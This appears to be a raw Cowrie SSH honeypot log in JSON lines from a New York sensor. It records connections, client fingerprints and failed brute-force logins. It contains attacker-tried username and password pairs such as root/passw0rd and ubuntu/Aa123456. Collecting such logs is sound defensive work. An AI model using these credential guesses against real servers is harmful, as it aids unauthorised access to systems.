{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:12.314303Z","src_ip":"132.148.155.138","session":"7348136d2051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:12.462248Z","src_ip":"5.196.136.131","session":"f085426f8fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":36390,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac79f4f5da25","protocol":"ssh","message":"New connection: 5.196.136.131:36390 (10.17.0.5:22) [session: ac79f4f5da25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:15.588355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:15.612329Z","src_ip":"5.196.136.131","session":"ac79f4f5da25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:15.666027Z","src_ip":"5.196.136.131","session":"ac79f4f5da25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:15.970002Z","src_ip":"5.196.136.131","session":"ac79f4f5da25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:17.047920Z","src_ip":"5.196.136.131","session":"ac79f4f5da25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.99.188.194","src_port":53230,"dst_ip":"10.17.0.5","dst_port":22,"session":"bad5fcc63200","protocol":"ssh","message":"New connection: 46.99.188.194:53230 (10.17.0.5:22) [session: bad5fcc63200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:18.858770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:18.862086Z","src_ip":"46.99.188.194","session":"bad5fcc63200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:18.983696Z","src_ip":"46.99.188.194","session":"bad5fcc63200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2021!","message":"login attempt [root/unitedstates2021!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:19.348824Z","src_ip":"46.99.188.194","session":"bad5fcc63200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":28953,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a499afae197","protocol":"ssh","message":"New connection: 5.196.136.131:28953 (10.17.0.5:22) [session: 2a499afae197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:20.013355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:20.016796Z","src_ip":"5.196.136.131","session":"2a499afae197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:20.092486Z","src_ip":"5.196.136.131","session":"2a499afae197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:20.321830Z","src_ip":"5.196.136.131","session":"2a499afae197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:20.470776Z","src_ip":"46.99.188.194","session":"bad5fcc63200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:21.400765Z","src_ip":"5.196.136.131","session":"2a499afae197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":15067,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9071f4d24f9","protocol":"ssh","message":"New connection: 5.196.136.131:15067 (10.17.0.5:22) [session: c9071f4d24f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:24.501554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:24.504872Z","src_ip":"5.196.136.131","session":"c9071f4d24f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:24.585606Z","src_ip":"5.196.136.131","session":"c9071f4d24f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:24.831920Z","src_ip":"5.196.136.131","session":"c9071f4d24f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:25.915305Z","src_ip":"5.196.136.131","session":"c9071f4d24f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":9876,"dst_ip":"10.17.0.5","dst_port":22,"session":"17cab847280f","protocol":"ssh","message":"New connection: 5.196.136.131:9876 (10.17.0.5:22) [session: 17cab847280f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:28.977588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:28.980089Z","src_ip":"5.196.136.131","session":"17cab847280f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:29.059618Z","src_ip":"5.196.136.131","session":"17cab847280f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:29.293015Z","src_ip":"5.196.136.131","session":"17cab847280f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:30.372301Z","src_ip":"5.196.136.131","session":"17cab847280f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41607,"dst_ip":"10.17.0.5","dst_port":22,"session":"58c7bdc2de85","protocol":"ssh","message":"New connection: 5.196.136.131:41607 (10.17.0.5:22) [session: 58c7bdc2de85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:33.516448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:33.520096Z","src_ip":"5.196.136.131","session":"58c7bdc2de85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:33.595381Z","src_ip":"5.196.136.131","session":"58c7bdc2de85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:33.821573Z","src_ip":"5.196.136.131","session":"58c7bdc2de85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:34.898523Z","src_ip":"5.196.136.131","session":"58c7bdc2de85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":65032,"dst_ip":"10.17.0.5","dst_port":22,"session":"c722865987d0","protocol":"ssh","message":"New connection: 5.196.136.131:65032 (10.17.0.5:22) [session: c722865987d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:37.835681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:37.843333Z","src_ip":"5.196.136.131","session":"c722865987d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:37.918957Z","src_ip":"5.196.136.131","session":"c722865987d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:38.146250Z","src_ip":"5.196.136.131","session":"c722865987d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:39.224097Z","src_ip":"5.196.136.131","session":"c722865987d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":50077,"dst_ip":"10.17.0.5","dst_port":22,"session":"3afb01a94af8","protocol":"ssh","message":"New connection: 5.196.136.131:50077 (10.17.0.5:22) [session: 3afb01a94af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:42.098654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:42.101931Z","src_ip":"5.196.136.131","session":"3afb01a94af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:42.177422Z","src_ip":"5.196.136.131","session":"3afb01a94af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:42.405073Z","src_ip":"5.196.136.131","session":"3afb01a94af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:43.482910Z","src_ip":"5.196.136.131","session":"3afb01a94af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":27910,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0a04ba874c7","protocol":"ssh","message":"New connection: 5.196.136.131:27910 (10.17.0.5:22) [session: d0a04ba874c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:46.617059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:46.621625Z","src_ip":"5.196.136.131","session":"d0a04ba874c7","protocol":"ssh"}
